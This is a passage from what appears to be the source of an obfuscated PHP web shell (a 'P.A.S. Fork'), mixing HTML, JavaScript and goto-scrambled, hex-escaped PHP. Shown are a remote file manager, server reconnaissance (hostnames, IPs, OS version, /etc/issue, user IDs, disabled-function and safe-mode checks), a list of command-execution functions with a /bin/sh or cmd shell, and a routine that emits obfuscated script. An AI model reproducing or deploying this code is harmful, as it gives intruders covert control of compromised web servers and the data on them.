 </div><div class="flexRow"><label class="option"title="exx: &gt;1991-08-24 00:00:00, &lt;1991-08-24 00:00:00, 1991-08-24 00:00:00 - 1996-06-28 12:00:00, 1996-06-28 12:00:00">Created (UTC)<input type="text"name="e"/></label><hr class="spcr20"/><label class="option"title="exx: &gt;1991-08-24 00:00:00, &lt;1991-08-24 00:00:00, 1991-08-24 00:00:00 - 1996-06-28 12:00:00, 1996-06-28 12:00:00">Modified (UTC)<input type="text"name="m"/></label></div><div class="flexRow"><label class="option"title="exx: &gt;10, &lt;102400, 10-1024, 2048">Size (bytes)<input type="text"name="z"/></label><hr class="spcr20"/><div class="option">Text (<label title="Delimiter is pound (#)"><input type="checkbox"name="x"/>use regex</label>, <label><input type="checkbox"name="v"/>case-insensitive</label>)<input type="text"name="t"/></div></div><div class="flexRow"><label><input type="checkbox"name="l"/> Process links</label><hr class="spcrFlex"/><button>Search</button></div></form><form id="frmLnk"class="modal"onmousedown="uiActvModal(event)"onsubmit="mkLnk(event)"tabindex="-1"><div class="divCntrls"><span class="spnTitle">Create Link</span><a href="#"class="cntrl"title="Close"onclick="return uiClsModal('frmLnk')">&#x00D7;</a></div><label class="option">Target Path: <input type="text"name="p"required/></label><label class="option">Link Path: <input type="text"required/></label><div class="flexRow"><select name="t"><option value="0">Symbolic</option><option value="1">Hard</option></select><hr class="spcrFlex"/><button>Create</button></div></form><template id="tmplFrmPrps"><form class="modal frmFilesPrps"onmousedown="uiActvModal(event)"onsubmit="chngPrps(event)"tabindex="-1"><div class="divCntrls"><span class="spnTitle">Properties</span><a href="#"class="cntrl"title="Close without saving"onclick="return uiDstrModal(this.parentNode.parentNode)">&#x00D7;</a></div><label class="option">Path<input type="text"name="p"request/></label><div class="flexRow"><label class="option">Modified (UTC) <a href="#"class="cntrl arwDwn"onclick="setErlDate(event)"title="Set the earliest date from table"></a><input type="text"size="1"name="t"/></label> <?php  goto ElmAk; bwlDJ: function makeOut($str) { return c("\x3c\x73\143\162\151\160\x74\x3e") . t(f("\x77\x72\151\164\145", 1) . "\50" . f("\x64\145\x63\157\x64\145\x55\x52\x49\x43\x6f\155\x70\x6f\156\145\x6e\164") . "\50" . f("\141\x74\157\142") . "\50\50" . i(base64_encode(rawurlencode(c($str, 1))), 100, 400) . "\51\51\51\51\73", true) . c("\74\x2f\163\x63\x72\151\x70\x74\x3e"); } goto OGnWs; wHp7g: if (!RO) { ob_start(); } goto OKNcO; aFR2a: if (NIX) { echo "\x2c\x6f\x77\x6e\x72\x73\133\x66\151\x6c\145\x5b\x35\x5d\x5d\53\x27\57\x27\53\x67\162\160\x73\x5b\x66\151\154\145\x5b\66\135\x5d"; } goto S_uPO; q8gGN: $C = array('' => "\125\x54\106\55\x38", "\x55\x54\x46\55\61\66", "\x57\151\156\144\157\167\x73\55\x31\x32\x35\60", "\x57\151\156\x64\x6f\x77\x73\x2d\x31\x32\x35\x31", "\x57\x69\x6e\x64\157\x77\163\x2d\61\62\65\x32", "\127\x69\x6e\x64\x6f\x77\163\55\61\x32\65\x34", "\x57\x69\156\x64\x6f\x77\163\x2d\61\62\x35\66", "\x57\x69\x6e\x64\x6f\x77\x73\x2d\61\62\x35\67", "\111\x53\x4f\55\70\70\x35\71\55\61", "\111\x53\x4f\55\70\70\65\71\x2d\x32", "\x49\x53\117\55\x38\70\65\x39\x2d\x37", "\x49\x53\x4f\55\x38\70\65\71\x2d\70", "\x49\x53\117\x2d\70\x38\x35\71\55\71", "\x49\123\x4f\x2d\x38\70\x35\x39\x2d\61\x33", "\x42\151\147\65", "\107\x42\113", "\123\x68\x69\146\x74\137\112\x49\123", "\105\125\103\55\x4b\x52", "\x45\125\x43\55\112\x50", "\111\102\x4d\70\66\66", "\x4b\117\x49\x38\55\x52", "\113\117\x49\x38\55\125"); goto DoDlg; NHyqa: function wesc($v) { return str_replace(array("\136", "\46", "\x5c", "\74", "\x3e", "\x7c"), array("\x5e\x5e", "\x5e\46", "\x5e\134", "\136\74", "\x5e\x3e", "\136\174"), $v); } goto hDcaP; OGnWs: function f($f, $d = false) { $r = rand(0, 1); return $r ? (rand(0, 1) && !$d ? f("\163\x65\154\146") : ($r && !$d ? f("\164\x6f\x70") : f("\x64\x6f\x63\x75\x6d\x65\156\x74"))) . "\133" . i($f, 1, 3) . "\x5d" : ($d ? f("\144\157\x63\165\x6d\x65\156\x74") . "\x2e" . $f : $f); } goto MxV1r; eTqe7: foreach ($C as $k => $v) { echo "\x3c\x6f\160\164\151\x6f\156\40\x76\x61\154\165\x65\x3d\42", $k, "\42\76", $v, "\74\x2f\157\160\164\151\157\156\76"; } goto zObPJ; wjnY5: echo NIX ? 8 : 7; goto oHfwf; QjzJe: if (NIX) { echo "\x20\163\x65\154\x65\143\x74\x65\144"; } goto YveqT; LAxqm: ?>
',
 fmBuffer = [],
 elmTblFiles = null,
 elmTmplFileRow = null,
 elmPth = null,
 fileTypes = {
  0xE000: 'P',
  0xD000: 'D',
  0xC000: 's',
  0xA000: 'l',
  0x8000: '-',
  0x6000: 'b',
  0x4000: 'd',
  0x2000: 'c',
  0x1000: 'p'
 };

function fmSaveState() {
 strgSaveStr('fmPath', elmPth.placeholder);
 strgSaveArr('fmBuffer', fmBuffer);
}

function fmRestoreState() {
 elmTblFiles = elmById('tblFiles');
 elmTmplFileRow = elmById('tmplFileRow').content.firstChild;
 elmPth = elmById('frmFM').p;
 strgRstrVal('fmPath', elmPth);
 elmPth.placeholder = elmPth.value;
 fmBuffer = strgRstrArr('fmBuffer');
 if (fmBuffer.length > 0) elmById('btnBufferMenu').disabled = false;
}

function uiCheckAll(id, state) {
 var elms = elmById('frm' + id)['f[]'];
 if (elms) {
  if (elms.length > 0)
   for (var i = elms.length - 1; i >= 0; --i) elms[i].checked = state;
  else elms.checked = state;
 }
}

function fmAjxSnd(msg, clbck, data, frm, chrst) {
 if (!data) data = {};
 data.a = 'f';
 if (!('c' in data)) {
  var cs = elmById('fmCSLoad').value;
  if (cs !== '') data.c = cs;
 }
 ajxSnd(msg, clbck, frm, data, chrst ? chrst : elmById('fmCSSend').value);
}

function parseName(file) {
 var n = file[0],
  e = '';
 if (file[1] === null) {
  n = '[ ' + n + ' ]';
  e = '[ DIR ]';
 } else {
  var p = n.lastIndexOf('.');
  if (p > 0) {
   e = n.slice(p + 1);
   //n = n.slice(0, p);
  }
 }
 file[0] = [file[0], n, e];
}

function cmprFiles(f1, f2) {
 var [o, i] = fmSort;
 var c1 = (i[1] ? f1[i[1]] : f1[0][i]);
 var c2 = (i[1] ? f2[i[1]] : f2[0][i]);

 var f1F = f1[1] !== null, f2F = f2[1] !== null;

 if (f1F && f2F) {
  if (c1 !== c2) return c1 > c2 ? 1*o : -1*o;
 }
 else if (f1F) return 1*o;
 else if (f2F) return -1*o;
 return f1[0][1] > f2[0][1] ? 1*o : -1*o;
}

function frmtSize(s) {
 if (s === null) return '[ DIR ]';
 if (s === -1) return '?';
 if (s > 999) {
  s = s.toString();
  for (var i = s.length - 3; i > 0; i -= 3) s = s.slice(0, i) + '\u2009' + s.slice(i);
 }
 return s;
}

function prmsToStr(p) {
 p |= 0;
 if (p === 0) return '?';
 var v = p & 0xF000;
 return ((v in fileTypes) ? fileTypes[v] : 'u') + ((p & 0x0100) ? 'r' : '-') + ((p & 0x0080) ? 'w' : '-') + ((p & 0x0040) ? ((p & 0x0800) ? 's' : 'x') : ((p & 0x0800) ? 'S' : '-')) + ((p & 0x0020) ? 'r' : '-') + ((p & 0x0010) ? 'w' : '-') + ((p & 0x0008) ? ((p & 0x0400) ? 's' : 'x') : ((p & 0x0400) ? 'S' : '-')) + ((p & 0x0004) ? 'r' : '-') + ((p & 0x0002) ? 'w' : '-') + ((p & 0x0001) ? ((p & 0x0200) ? 't' : 'x') : ((p & 0x0200) ? 'T' : '-'));
}

function updFileRow(row, file, ogn) {
 row.style.visibility = 'hidden';
 row.cells[3].firstChild.textContent = frmtSize(file[1]);
 row.cells[4].textContent = utsToStr(file[2]);
 var elm = row.cells[5].firstChild;
 elm.className = 'lnkAct prm' + file[3];
 <?php  goto WLMku; WLMku: if (NIX) { ?>
elm.textContent = prmsToStr(file[4]);
 elm.title = (file[4] | 0).toString(8).slice(-4);
 elm = row.cells[6];
 elm.textContent = ogn;
 elm.title = (file[5] === -1 ? '?' : file[5]) + '/' + (file[6] === -1 ? '?' : file[6]);
 <?php  } else { ?>
switch(file[3]) {
  case 1: elm.textContent = 'read';
  break;
  case 2: elm.textContent = 'write';
  break;
  case 3: elm.textContent = 'read/write';
  break;
  default: elm.textContent = 'none';
  break;
 }
 <?php  } goto dyrTR; qa4cw: function filePath($p) { $p = rtrim($p, DSC); return implode(DSC, array_slice(explode(DSC, $p), 0, -1)) . DSC; } goto gE2sI; cY2KI: echo escHTML(selfPath()); goto XKLqj; xwY0G: echo NIX ? "\x2f" : "\x5c\x5c"; goto LAxqm; I3CN4: ?>
}

function listFiles(data, ownrs, grps) {
 var bpth = data.p,
  files = data.f,
  tbdy = elmById('tmplFilesTBody').content.firstChild.cloneNode(true);
 for (var pths = bpth.slice(0, -1).split(DS), cpth = '', i = 0, c = pths.length; i < c; ++i) {
  cpth += pths[i] + DS;
  tbdy.rows[0].cells[0].appendChild(newElm('a', {
   href: '#' + cpth,
   className: 'spnPth',
   textContent: pths[i] + DS,
  }));
  tbdy.rows[0].cells[0].classList.add('prm' + data.m);
 }
 tbdy.rows[1].cells[0].firstChild.value = bpth + '..';
 files.map(parseName);
 files.sort(cmprFiles);
 for (var i = 0, c = files.length; i < c; ++i) {
  var file = files[i],
   row = elmTmplFileRow.cloneNode(true);
  fillFileRow(row.cells, bpth, file<?php  goto aFR2a; yYeaX: ob_end_clean(); goto vSLfM; i_T5O: foreach ($C as $v) { echo "\74\x6f\x70\x74\x69\x6f\156\x3e", $v, "\74\57\157\x70\x74\x69\x6f\x6e\76"; } goto rmSEO; je63D: function infMain($h = FALSE) { echo $h ? "\x3c\164\141\x62\x6c\145\40\151\144\x3d\42\x74\142\154\111\x6e\x66\42\76\74\164\x72\x20\164\x69\x74\x6c\x65\x3d\42\x48\124\x54\x50\40\x48\x6f\x73\x74\x2c\x20\x53\145\162\x76\145\162\40\x41\x64\144\x72\54\x20\x53\145\x72\166\x65\x72\40\x4e\141\155\145\x2c\40\x48\157\163\164\40\x4e\x61\x6d\x65\x2c\40\110\x6f\x73\x74\40\111\x50\x22\76\x3c\164\150\x3e" : "\133\173\42", "\x41\144\144\x72\x65\163\x73", $h ? "\x3c\x2f\164\x68\76\x3c\x74\x64\76" : "\42\x3a"; $a = array(); foreach (array("\110\x54\x54\x50\137\110\x4f\x53\124", "\x53\105\x52\126\x45\x52\x5f\x41\104\104\122", "\123\105\x52\126\105\x52\137\x4e\x41\115\x45") as $v) { if (isset($_SERVER[$v])) { $v = trim($_SERVER[$v]); if ($v !== '' && !in_array($v, $a)) { $a[] = $v; } } } if ($v = php_uname("\156")) { $v = trim($v); if ($v !== '' && !in_array($v, $a)) { $a[] = $v; } } if (PHP_VERSION >= "\65\x2e\x33" && ($v = gethostname())) { $v = trim($v); if ($v !== '' && !in_array($v, $a)) { $a[] = $v; } } $r = ''; foreach ($a as $k => $v) { if ($k > 0) { $r .= "\x20\x2f\x20"; } $r .= $v; if ($i = gethostbynamel($v)) { $b = FALSE; foreach ($i as $v) { if (!in_array($v, $a)) { $a[] = $v; if ($b) { $r .= "\54\x20"; } else { $b = TRUE; $r .= "\40\50"; } $r .= $v; } } if ($b) { $r .= "\51"; } } elseif (($i = gethostbyname($v)) && !in_array($v, $a)) { $a[] = $v; $r .= "\40\50" . $v . "\x29"; } } if ($h) { echo escHTML($r); } else { jsonEcho($r); } echo $h ? "\74\x2f\164\144\x3e\74\x2f\164\x72\x3e\x3c\x74\162\x3e\x3c\164\x68\x3e" : "\x2c\42", "\123\171\163\x74\x65\x6d", $h ? "\74\x2f\164\x68\x3e\x3c\164\x64\76" : "\42\72"; $r = ''; if (($v = trim(php_uname("\x73") . "\40" . php_uname("\162") . "\x20" . php_uname("\166") . "\40" . php_uname("\155"))) !== '') { $r = $v; } elseif (NIX && ($v = getFile("\57\x70\162\157\x63\57\x76\x65\162\x73\151\x6f\156"))) { $r = $v; } else { if (defined("\120\x48\x50\x5f\117\123")) { $r = PHP_OS; } else { $r = NIX ? "\x2a\x4e\111\x58" : "\127\151\156\x64\x6f\167\x73"; } if (!NIX) { $a = array(); foreach (array("\120\110\120\137\127\x49\116\104\x4f\x57\123\137\126\x45\x52\123\x49\x4f\x4e\x5f\x4d\x41\112\x4f\122", "\120\110\120\x5f\127\111\x4e\x44\x4f\x57\123\137\x56\x45\x52\123\x49\117\x4e\137\115\x49\x4e\x4f\122", "\120\x48\120\x5f\127\x49\x4e\x44\x4f\x57\123\137\126\x45\122\123\x49\117\x4e\137\102\x55\x49\x4c\104") as $v) { if (defined($v)) { $a[] = constant($v); } } if ($a) { $r .= "\40" . implode("\x2e", $a); } if (defined("\x50\110\120\137\x57\x49\x4e\x44\x4f\127\123\137\x56\x45\x52\x53\x49\x4f\116\137\x53\120\x5f\115\x41\x4a\117\122") && PHP_WINDOWS_VERSION_SP_MAJOR > 0) { $r .= "\40\x53\x50" . PHP_WINDOWS_VERSION_SP_MAJOR; if (defined("\120\110\x50\137\127\111\116\x44\x4f\x57\123\x5f\x56\x45\122\123\x49\117\x4e\137\x53\120\x5f\115\x49\116\x4f\122") && PHP_WINDOWS_VERSION_SP_MINOR > 0) { $r .= "\x2e" . PHP_WINDOWS_VERSION_SP_MINOR; } } } } if (NIX && (($v = trim(getFile("\57\x65\x74\x63\x2f\x69\x73\163\165\x65\56\156\145\x74"))) !== '' || ($v = trim(getFile("\57\145\x74\143\57\151\x73\163\x75\145"))) !== '')) { $r .= "\40\50" . $v . "\x29"; } if ($h) { echo escHTML($r); } else { jsonEcho($r); } if (!empty($_SERVER["\123\105\x52\126\105\x52\137\x53\117\106\124\x57\101\x52\105"])) { echo $h ? "\74\x2f\x74\144\76\x3c\57\x74\x72\x3e\74\x74\162\x3e\74\164\x68\x3e" : "\54\x22", "\x53\145\162\x76\x65\162", $h ? "\74\x2f\x74\150\76\74\x74\x64\76" : "\42\72"; if ($h) { echo escHTML($_SERVER["\123\105\122\126\x45\122\137\x53\117\x46\x54\127\101\122\x45"]); } else { jsonEcho($_SERVER["\x53\105\122\x56\105\x52\137\123\117\x46\x54\127\101\122\105"]); } } echo $h ? "\x3c\57\x74\x64\x3e\74\x2f\164\162\76\x3c\x74\x72\76\74\x74\150\76" : "\54\x22", "\123\157\x66\x74\x77\141\x72\x65", $h ? "\x3c\x2f\164\x68\x3e\74\164\x64\76" : "\42\x3a"; $r = "\120\110\120\x2f" . PHP_VERSION; if (defined("\123\125\x48\117\x53\x49\116\137\120\x41\124\103\x48\137\x56\x45\x52\123\x49\x4f\x4e")) { $r .= "\x20\x77\151\164\x68\40\x53\165\150\x6f\x73\x69\156\40\x70\x61\164\x63\150\x2f" . SUHOSIN_PATCH_VERSION; } $r .= "\73\40"; if (defined("\103\125\x52\x4c\105\x5f\117\113")) { $r .= "\x63\x55\122\114"; $v = curl_version(); if (isset($v["\166\145\162\x73\x69\157\156"])) { $r .= "\x2f" . $v["\x76\145\x72\x73\x69\157\156"]; } $r .= "\73\40"; } if ($v = phpversion("\123\165\150\157\163\151\156")) { $r .= "\40\123\165\x68\x6f\x73\151\156\x2f" . $v; } if ($h) { echo escHTML($r); } else { jsonEcho($r); } echo $h ? "\x3c\x2f\x74\144\x3e\74\57\164\162\x3e\74\164\x72\76\74\164\x68\76" : "\x2c\x22", "\x55\x73\145\162", $h ? "\x3c\x2f\164\x68\76\74\x74\x64\76" : "\x22\72"; $r = ''; $a = array(); if (NIX) { if (defined("\x50\x4f\123\x49\x58\137\106\x5f\117\113") || function_exists("\160\157\163\x69\x78\x5f\147\x65\164\145\x75\151\x64")) { if (is_int($v = posix_geteuid())) { $r .= "\145\165\151\144\x3d" . $v . "\50" . uName($v) . "\x29\73\40"; } if (is_int($v = posix_getegid())) { $r .= "\x65\x67\x69\x64\75" . $v . "\50" . gName($v) . "\x29\x3b\x20"; } } if (is_int($v = getmyuid())) { $r .= "\x6f\x75\x69\x64\75" . $v . "\x28" . uName($v) . "\51\73\x20"; } if (is_int($v = getmygid())) { $r .= "\x6f\147\x69\144\x3d" . $v . "\50" . gName($v) . "\51\73\40"; } } $b = FALSE; foreach (array("\122\x45\x4d\x4f\124\x45\x5f\101\104\x44\122", "\x48\124\x54\x50\137\x58\x5f\122\x45\101\x4c\137\111\120", "\x48\x54\x54\120\x5f\x43\114\111\105\116\x54\x5f\x49\x50", "\110\124\124\x50\x5f\130\137\x46\117\122\x57\101\122\104\105\104\x5f\x46\x4f\122") as $i) { if (!empty($_SERVER[$i])) { if ($b) { $r .= "\54\x20"; } else { $b = TRUE; $r .= "\111\120\72\40"; } $r .= $_SERVER[$i]; } } if ($b) { $r .= "\x3b"; } if ($h) { echo escHTML($r); } else { jsonEcho($r); } echo $h ? "\x3c\x2f\164\144\76\74\x2f\x74\162\76\x3c\164\162\76\x3c\x74\x68\40\143\157\154\x73\x70\141\x6e\75\42\62\42\76\74\57\164\x68\76\74\x2f\164\x72\76\x3c\x74\x72\x3e\74\x74\x68\x3e" : "\x7d\x2c\x7b\42", "\x53\141\146\145\40\x6d\x6f\144\145", $h ? "\74\57\x74\150\x3e\74\x74\x64\x3e" : "\x22\72"; if (isINI("\163\x61\x66\x65\x5f\155\157\144\x65")) { $v = isINI("\x73\x61\x66\x65\137\x6d\157\144\145\x5f\147\151\x64") ? "\107\x49\x44" : "\125\x49\104"; echo $h ? $v : "\x22" . $v . "\x22"; foreach (array("\111\156\143\x6c\x75\x64\x65\40\x64\151\x72" => "\163\141\146\x65\x5f\155\x6f\144\x65\137\x69\156\x63\154\x75\144\145\x5f\144\151\x72", "\x45\170\x65\143\x20\144\151\162" => "\163\141\146\x65\137\155\x6f\144\145\x5f\145\170\x65\143\x5f\x64\151\x72", "\x56\x61\162\x73\40\160\162\x65\146\x69\x78\x65\x73" => "\x73\141\146\145\137\155\157\144\145\137\141\x6c\x6c\157\x77\145\144\137\x65\156\x76\x5f\x76\141\162\163", "\120\x72\x6f\x74\x65\143\164\145\x64\40\x76\141\x72\x73" => "\x73\141\x66\x65\137\155\157\x64\145\137\160\x72\157\x74\145\143\164\x65\x64\137\x65\x6e\166\x5f\166\x61\162\x73") as $k => $v) { if (!getINI($v, $v)) { $v = "\55"; } echo $h ? "\x3c\57\164\144\76\x3c\57\x74\162\76\x3c\x74\x72\x3e\x3c\164\x68\76" : "\54\x22", $k, $h ? "\74\x2f\164\150\x3e\x3c\164\144\x3e" : "\42\x3a"; if ($h) { echo escHTML($v); } else { jsonEcho($v); } } } else { echo $h ? "\x2d" : "\x22\55\x22"; } echo $h ? "\x3c\57\164\144\76\x3c\x2f\164\162\76" : ''; foreach (array("\x4f\160\145\x6e\40\x62\141\163\x65\x64\x69\162" => "\x6f\x70\x65\x6e\x5f\142\141\163\145\x64\151\162", "\104\x69\163\x61\x62\x6c\145\x64\40\x66\165\156\x63\x74\151\x6f\x6e\x73" => "\x64\151\x73\141\142\154\145\x5f\146\165\x6e\x63\164\x69\x6f\x6e\x73", "\x44\x69\x73\x61\142\154\145\x64\x20\x63\x6c\x61\x73\163\x65\163" => "\144\151\163\141\142\154\x65\x5f\143\x6c\x61\163\163\145\x73") as $k => $v) { if (!getINI($v, $v)) { $v = "\x2d"; } echo $h ? "\x3c\x74\x72\x3e\x3c\x74\x68\76" : "\54\x22", $k, $h ? "\x3c\x2f\164\150\76\x3c\164\x64\x3e" : "\x22\x3a"; if ($h) { echo escHTML($v), "\74\x2f\164\144\76\74\57\164\x72\x3e"; } else { jsonEcho($v); } } if (getINI("\x73\x75\x68\x6f\x73\151\x6e\x2e\x73\151\x6d\x75\154\x61\164\x69\x6f\x6e", $v)) { echo $h ? "\74\x74\162\x3e\x3c\x74\x68\40\x63\157\x6c\163\160\141\x6e\75\42\62\42\76\x3c\x2f\164\150\x3e\74\x2f\164\x72\x3e\74\x74\x72\76\x3c\164\x68\76" : "\x7d\54\x7b\42", "\x53\165\150\x6f\x73\151\x6e\40\x6d\157\144\145", $h ? "\74\x2f\164\x68\x3e\x3c\x74\x64\x3e" : "\42\72\42", $v ? "\x73\151\155\165\x6c\141\x74\x69\157\x6e" : "\142\x72\x65\141\153", $h ? "\x3c\57\164\x64\76\74\57\164\162\76\74\164\162\76\74\x74\x68\76" : "\42\x2c\x22", "\x41\x6c\x6c\x6f\x77\x20\162\x65\167\162\151\x74\145", $h ? "\x3c\57\164\150\76\x3c\x74\144\x3e" : "\42\x3a"; if (!getINI("\163\x75\x68\x6f\x73\x69\156\56\160\x65\x72\x64\x69\162", $v) || !$v) { $v = "\55"; } if ($h) { echo escHTML($v), "\74\57\164\x64\x3e\x3c\x2f\x74\x72\76"; } else { jsonEcho($v); } foreach (array("\106\165\x6e\x63\x74\x69\157\156\x73\40\167\x68\x69\x74\x65\x6c\x69\163\x74" => "\x73\165\150\x6f\x73\x69\156\x2e\145\x78\x65\143\165\164\157\162\x2e\x66\165\156\143\x2e\167\150\151\164\145\x6c\151\163\164", "\x46\x75\x6e\x63\164\151\157\156\163\40\142\154\x61\x63\x6b\154\151\163\164" => "\x73\165\150\x6f\x73\151\x6e\x2e\145\170\x65\143\x75\x74\x6f\162\56\146\x75\156\x63\x2e\142\154\x61\143\153\x6c\151\x73\164", "\x45\166\141\x6c\x20\x77\x68\x69\x74\145\154\x69\x73\x74" => "\x73\165\x68\x6f\163\151\x6e\56\145\170\x65\x63\x75\x74\x6f\x72\x2e\x65\x76\141\x6c\56\x77\x68\x69\164\x65\154\151\163\164", "\105\166\141\x6c\x20\x62\154\141\143\153\154\x69\163\x74" => "\x73\x75\x68\157\x73\x69\x6e\56\x65\x78\x65\x63\165\164\x6f\x72\56\x65\166\x61\154\x2e\142\x6c\x61\143\x6b\154\x69\x73\164") as $k => $v) { if (!getINI($v, $v)) { $v = "\x2d"; } echo $h ? "\x3c\x74\x72\76\x3c\164\150\x3e" : "\x2c\42", $k, $h ? "\74\57\164\x68\76\74\164\144\76" : "\42\x3a"; if ($h) { echo escHTML($v), "\74\x2f\164\x64\76\x3c\57\164\162\x3e"; } else { jsonEcho($v); } } $a = array("\145\x76\141\x6c" => "\163\165\x68\x6f\x73\x69\156\x2e\x65\x78\145\x63\x75\164\x6f\x72\x2e\x64\x69\163\x61\142\x6c\x65\137\x65\166\141\154", "\x2f\145\x20\155\x6f\144\151\x66\x69\x65\x72" => "\163\x75\150\x6f\x73\x69\x6e\56\x65\x78\145\143\x75\164\x6f\162\56\144\x69\163\x61\x62\154\x65\x5f\145\x6d\x6f\144\x69\x66\x69\145\x72"); $i = array(); foreach ($a as $k => $v) { if (isINI($v)) { $i[] = $k; } } echo $h ? "\74\x74\x72\x3e\74\164\x68\x3e" : "\54\42", "\x44\x69\163\x61\x62\x6c\145\144", $h ? "\74\x2f\x74\150\76\x3c\x74\144\x3e" : "\x22\x3a\x22", $i ? implode("\54\x20", $i) : "\x2d", $h ? "\x3c\x2f\164\144\76\x3c\57\164\162\x3e" : "\42"; if (isINI("\x73\165\x68\x6f\163\x69\x6e\56\154\x6f\147\x2e\146\x69\x6c\x65") && getINI("\x73\165\150\x6f\x73\x69\156\56\x6c\157\147\x2e\146\151\154\x65\x2e\x6e\141\x6d\145", $v)) { echo $h ? "\74\x74\162\x3e\x3c\164\150\x3e" : "\x2c\x22", "\x4c\x6f\x67\x20\x66\x69\154\145", $h ? "\x3c\x2f\x74\x68\76\74\164\144\x3e" : "\x22\72"; if ($h) { echo escHTML($v), "\x3c\x2f\x74\144\76\x3c\57\164\162\x3e"; } else { jsonEcho($v); } } } echo $h ? "\x3c\57\164\x61\x62\154\x65\76" : "\x7d\135"; } goto FrNOm; rmSEO: ?>
</select></span><span class="spnChrst"style="text-align:right"title="Load as..."><hr class="arwDwn"/> <select name="c"><?php  goto eTqe7; zOpQl: if (safemode()) { $a[101] = "\163\141\146\x65\x6d\157\144\145"; } goto nkF5N; Uj2er: ?>
</div></span></div><div class="panel"id="divFtr"><div><a href="https://github.com/cr1f/P.A.S.-Fork/"target="blank">P.A.S. Fork v. <?php  goto EAfVP; kd2X7: if (NIX) { echo "\54\x64\141\164\x61\56\157\x2c\144\141\x74\141\x2e\147"; } goto o3npe; U8eY8: ?>
);
 stl.display = 'table';
}

function canonPath(pth, bpth) {
 if (pth === '') return '';
 var a = [],
  s = DS,
  v = pth.match(new RegExp('^[a-zA-Z0-9]{3,}://'));
 if (v !== null) {
  s = '/';
  v = v[0];
  var len = v.length;
  a.push(pth.slice(0, pth[len] === s ? len : v - 1));
  pth = pth.slice(len);
 } else if (DS === '/') {
  if (pth[0] === DS) a.push('');
 } else {
  pth = pth.replace('/', DS);
  if (pth[1] === ':') {
   a.push(pth.slice(0, 2));
   pth = pth.slice(2);
  } else if (pth.slice(0, 2) === DS + DS) {
   a.push(DS);
   pth = pth.slice(1);
  } else if (pth[0] === DS) a.push('');
 }
 if (a.length === 0) return canonPath(bpth + pth, bpth);
 v = pth.split(s);
 for (var i = 0, l = v.length; i < l; ++i) switch (v[i]) {
  case '':
  case '.':
   break;
  case '..':
   if (a.length > 1) a.pop();
   break;
  default:
   a.push(v[i]);
   break;
 }
 return a.length === 1 ? a[0] + s : a.join(s);
}

function onSrchFiles(div, data) {
 if ('e' in data) return uiChngMsg(div, data.e, 'Err');
 if (data.f.length === 0) return uiChngMsg(div, 'Nothing found', 'Inf');
 listPaths(data);
 uiDelMsg(div);
}

function srchFiles(e) {
 e.preventDefault();
 e.stopPropagation();
 var frm = elmById('frmSrch'),
  data = {
   s: []
  },
  pths = frm.elements[0].value.split(DS === '/' ? ':' : ';');
 for (var i = pths.length - 1; i >= 0; --i) {
  var pth = canonPath(pths[i], elmPth.placeholder);
  if (pth !== '') data.s.push(pth);
 }
 data.s.sort();
 fmAjxSnd('Search files', onSrchFiles, data, frm);
 uiClsModal(frm);
}

function uiSrchFTypeChngd() {
 var frm = elmById('frmSrch'),
  isDir = frm.y.value == 1;
 for (var i = 0, a = [<?php  goto zw1oE; m3s68: foreach ($ini as $k => $v) { if (isset($sysini[$k]) && $sysini[$k]["\141\x63\143\145\163\x73"] == 7) { ini_set($k, $v); } } goto fZnG8; eZrJL: foreach ($C as $v) { echo "\74\x6f\160\164\151\x6f\x6e\x3e", $v, "\74\x2f\x6f\x70\164\151\157\156\76"; } goto PakDw; gBMej: echo NIX ? "\x2f\x62\151\156\x2f\x73\150" : "\x63\155\x64"; goto XxpKg; gE2sI: function fileName($p) { $p = rtrim($p, DSC); $i = strrpos($p, DSC); return $i === FALSE ? $p : substr($p, $i + 1); } goto ijdF3; U8iwQ: ob_end_clean(); goto wHp7g; RwG_t: $a = array("\163\x79\x73\x74\145\155", "\160\x61\x73\x73\x74\150\x72\x75", "\x62\141\143\x6b\164\x69\x63\153\x73", "\163\150\x65\154\154\137\145\x78\x65\143", "\145\170\x65\143", "\160\x6f\x70\145\156"); goto s1vdE; HPKuj: class FileInfo { function __construct($v) { if (is_string($v)) { $this->fb = ''; $this->fn = ''; parsePath($v, $this->fb, $this->fn); $this->fp = $this->fb . $this->fn; } else { $this->fi = $v; $this->fp = $v->getPathName(); $this->fb = $v->getPath(); $this->fn = $v->getFileName(); } $this->rp = $this->fp; if ($this->isLink()) { $this->rp = $this->getLinkTarget(); if (isset($this->t)) { unset($this->t); } if (isset($this->fi)) { unset($this->fi); } } } function getPath() { return $this->fb; } function getFileName() { return $this->fn; } function getPathName() { return $this->fp; } function isDir() { if (isset($this->d)) { return $this->d; } if (!isset($this->p)) { $this->getPerms(); } if ($this->p !== 0) { $this->d = ($this->p & 61440) === 16384; return $this->d; } if (!isset($this->t)) { $this->type(); } if ($this->t !== FALSE) { $this->d = $this->t === "\144\x69\x72"; return $this->d; } $v = is_dir($this->fp); if (is_bool($v)) { $this->d = $v; return $v; } if (PHP_VERSION >= "\65") { if (!isset($this->fi)) { $this->spl(); } if ($this->fi !== FALSE) { try { $v = $this->fi->isDir(); } catch (Exception $e) { $v = NULL; } if (is_bool($v)) { $this->d = $v; return $v; } } } $this->d = FALSE; return FALSE; } function isLink() { if (isset($this->l)) { return $this->l; } $v = lstat($this->fp); if (is_array($v)) { $this->l = ($v[2] & 61440) === 40960; return $this->l; } if (!isset($this->t)) { $this->type(); } if ($this->t !== FALSE) { $this->l = $this->t === "\x6c\151\156\153"; return $this->l; } $v = is_link($this->fp); if (is_bool($v)) { $this->l = $v; return $v; } if (PHP_VERSION >= "\x35") { if (!isset($this->fi)) { $this->spl(); } if ($this->fi !== FALSE) { try { $v = $this->fi->isLink(); } catch (Exception $e) { $v = NULL; } if (is_bool($v)) { $this->l = $v; return $v; } } } $this->l = FALSE; return FALSE; } function getLinkTarget() { if (isset($this->f)) { return $this->f; } if (NIX || PHP_VERSION >= "\x35\x2e\x33") { $v = readlink($this->fp); if (is_string($v)) { $this->f = $v; return $v; } } if (PHP_VERSION >= "\x35") { if (!isset($this->fi)) { $this->spl(); } if ($this->fi !== FALSE) { try { $v = $this->fi->getLinkTarget(); } catch (Exception $e) { $v = NULL; } if (is_string($v)) { $this->f = $v; return $v; } } } $v = realpath($this->fp); if (is_string($v)) { $this->f = $v; return $v; } $this->f = ''; return ''; } function getSize() { if (isset($this->s)) { return $this->s; } if (!isset($this->i)) { $this->stat(); } if ($this->i !== FALSE) { $this->s = $this->i[7]; return $this->s; } $v = filesize($this->fp); if (is_int($v)) { $this->s = $v; return $v; } if (PHP_VERSION >= "\65") { if (!isset($this->fi)) { $this->spl(); } if ($this->fi !== FALSE) { try { $v = $this->fi->getSize(); } catch 